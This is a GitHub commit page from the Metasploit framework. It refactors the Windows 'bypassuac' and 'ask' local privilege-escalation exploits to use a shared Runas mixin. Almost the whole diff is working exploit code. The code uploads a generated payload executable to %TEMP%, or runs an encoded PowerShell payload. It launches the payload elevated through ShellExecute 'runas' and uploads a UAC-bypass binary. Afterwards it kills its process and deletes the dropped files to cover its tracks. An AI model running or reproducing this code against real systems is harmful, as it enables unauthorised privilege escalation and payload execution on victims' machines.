Skip to content

Commit d5959d6

Browse files
committed
Land rapid7#2585, Refactor Bypassuac with Runas Mixin
2 parents e14dd99 + 88f2383 commit d5959d6

File tree

3 files changed

+48
-53
lines changed

3 files changed

+48
-53
lines changed

lib/msf/core/post/windows/runas.rb

Lines changed: 13 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -4,35 +4,34 @@
44
require 'msf/core/exploit/exe'
55

66
module Msf::Post::Windows::Runas
7+
78
include Msf::Post::File
89
include Msf::Exploit::EXE
910
include Msf::Exploit::Powershell
1011

11-
def execute_exe(filename = nil, path = nil, upload = nil)
12+
def shell_execute_exe(filename = nil, path = nil)
13+
exe_payload = generate_payload_exe
1214
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
13-
payload_path = path || get_env('TEMP')
15+
payload_path = path || expand_path('%TEMP%')
1416
cmd_location = "#{payload_path}\\#{payload_filename}"
15-
16-
if upload
17-
exe_payload = generate_payload_exe
18-
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
19-
write_file(cmd_location, exe_payload)
20-
else
21-
print_status("No file uploaded, attempting to execute #{cmd_location}...")
22-
end
23-
24-
shell_exec(cmd_location, nil)
17+
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
18+
write_file(cmd_location, exe_payload)
19+
command, args = cmd_location, nil
20+
shell_exec(command, args)
2521
end
2622

27-
def execute_psh
23+
def shell_execute_psh
2824
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
2925
command = 'cmd.exe'
3026
args = "/c #{powershell_command}"
3127
shell_exec(command, args)
3228
end
3329

3430
def shell_exec(command, args)
35-
print_status('Executing elevated command...')
31+
print_status('Executing Command!')
3632
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
33+
::Timeout.timeout(30) do
34+
select(nil, nil, nil, 1) until session_created?
35+
end
3736
end
3837
end

modules/exploits/windows/local/ask.rb

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,6 @@ def initialize(info = {})
3737
register_options([
3838
OptString.new('FILENAME', [false, 'File name on disk']),
3939
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
40-
OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
4140
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
4241
])
4342
end
@@ -55,14 +54,11 @@ def exploit
5554
print_good 'UAC is not enabled, no prompt for the user'
5655
end
5756

58-
#
59-
# Generate payload and random names for upload
60-
#
6157
case datastore['TECHNIQUE']
6258
when 'EXE'
63-
execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD'])
59+
shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
6460
when 'PSH'
65-
execute_psh
61+
shell_execute_psh
6662
end
6763
end
6864
end

modules/exploits/windows/local/bypassuac.rb

Lines changed: 33 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -4,17 +4,17 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/exploit/exe'
87

98
class Metasploit3 < Msf::Exploit::Local
109
Rank = ExcellentRanking
1110

1211
include Exploit::EXE
1312
include Post::File
1413
include Post::Windows::Priv
14+
include Post::Windows::Runas
1515

1616
def initialize(info={})
17-
super( update_info( info,
17+
super( update_info(info,
1818
'Name' => 'Windows Escalate UAC Protection Bypass',
1919
'Description' => %q{
2020
This module will bypass Windows UAC by utilizing the trusted publisher
@@ -23,9 +23,9 @@ def initialize(info={})
2323
},
2424
'License' => MSF_LICENSE,
2525
'Author' => [
26-
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
27-
'mitnick',
28-
'mubix' # Port to local exploit
26+
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
27+
'mitnick',
28+
'mubix' # Port to local exploit
2929
],
3030
'Platform' => [ 'win' ],
3131
'SessionTypes' => [ 'meterpreter' ],
@@ -40,6 +40,11 @@ def initialize(info={})
4040
'DisclosureDate'=> "Dec 31 2010"
4141
))
4242

43+
register_options([
44+
OptEnum.new('TECHNIQUE', [true, 'Technique to use if UAC is turned off',
45+
'EXE', %w(PSH EXE)]),
46+
])
47+
4348
end
4449

4550
def check_permissions!
@@ -54,12 +59,12 @@ def check_permissions!
5459
if admin_group
5560
print_good('Part of Administrators group! Continuing...')
5661
else
57-
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
62+
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
5863
end
5964
end
6065

6166
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
62-
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
67+
fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
6368
end
6469
end
6570

@@ -72,8 +77,8 @@ def exploit
7277
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
7378
)
7479
when UAC_DEFAULT
75-
print_good "UAC is set to Default"
76-
print_good "BypassUAC can bypass this setting, continuing..."
80+
print_good 'UAC is set to Default'
81+
print_good 'BypassUAC can bypass this setting, continuing...'
7782
when UAC_NO_PROMPT
7883
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
7984
runas_method
@@ -89,15 +94,13 @@ def exploit
8994
pid = cmd_exec_get_pid(cmd)
9095

9196
::Timeout.timeout(30) do
92-
until session_created? do
93-
select(nil,nil,nil,1)
94-
end
97+
select(nil, nil, nil, 1) until session_created?
9598
end
9699
session.sys.process.kill(pid)
97100
# delete the uac bypass payload
98101
file_rm(path_bypass)
99102
file_rm("#{expand_path("%TEMP%")}\\tior.exe")
100-
cmd_exec("cmd.exe", "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
103+
cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
101104
end
102105

103106
def path_bypass
@@ -109,24 +112,24 @@ def path_payload
109112
end
110113

111114
def upload_binaries!
112-
print_status("Uploaded the agent to the filesystem....")
115+
print_status('Uploaded the agent to the filesystem....')
113116
#
114117
# Generate payload and random names for upload
115118
#
116119
payload = generate_payload_exe
117120

118121
# path to the bypassuac binary
119-
path = ::File.join(Msf::Config.data_directory, "post")
122+
path = ::File.join(Msf::Config.data_directory, 'post')
120123

121124
# decide, x86 or x64
122125
bpexe = nil
123126
if sysinfo["Architecture"] =~ /x64/i
124-
bpexe = ::File.join(path, "bypassuac-x64.exe")
127+
bpexe = ::File.join(path, 'bypassuac-x64.exe')
125128
else
126-
bpexe = ::File.join(path, "bypassuac-x86.exe")
129+
bpexe = ::File.join(path, 'bypassuac-x86.exe')
127130
end
128131

129-
print_status("Uploading the bypass UAC executable to the filesystem...")
132+
print_status('Uploading the bypass UAC executable to the filesystem...')
130133

131134
begin
132135
#
@@ -143,38 +146,35 @@ def upload_binaries!
143146
end
144147

145148
def runas_method
146-
payload = generate_payload_exe
147-
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
148-
tmpdir = expand_path("%TEMP%")
149-
tempexe = tmpdir + "\\" + payload_filename
150-
write_file(tempexe, payload)
151-
print_status("Uploading payload: #{tempexe}")
152-
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
153-
print_status("Payload executed")
149+
case datastore['TECHNIQUE']
150+
when 'PSH'
151+
# execute PSH
152+
shell_execute_psh
153+
when 'EXE'
154+
# execute EXE
155+
shell_execute_exe
156+
end
154157
end
155158

156159
def validate_environment!
157160
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
158161
#
159162
# Verify use against Vista+
160163
#
161-
winver = sysinfo["OS"]
164+
winver = sysinfo['OS']
162165

163166
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
164167
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
165168
end
166169

167170
if is_uac_enabled?
168-
print_status "UAC is Enabled, checking level..."
171+
print_status 'UAC is Enabled, checking level...'
169172
else
170173
if is_in_admin_group?
171-
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
174+
fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
172175
else
173-
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
176+
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
174177
end
175178
end
176179
end
177-
178-
179180
end
180-

0 commit comments

Comments
 (0)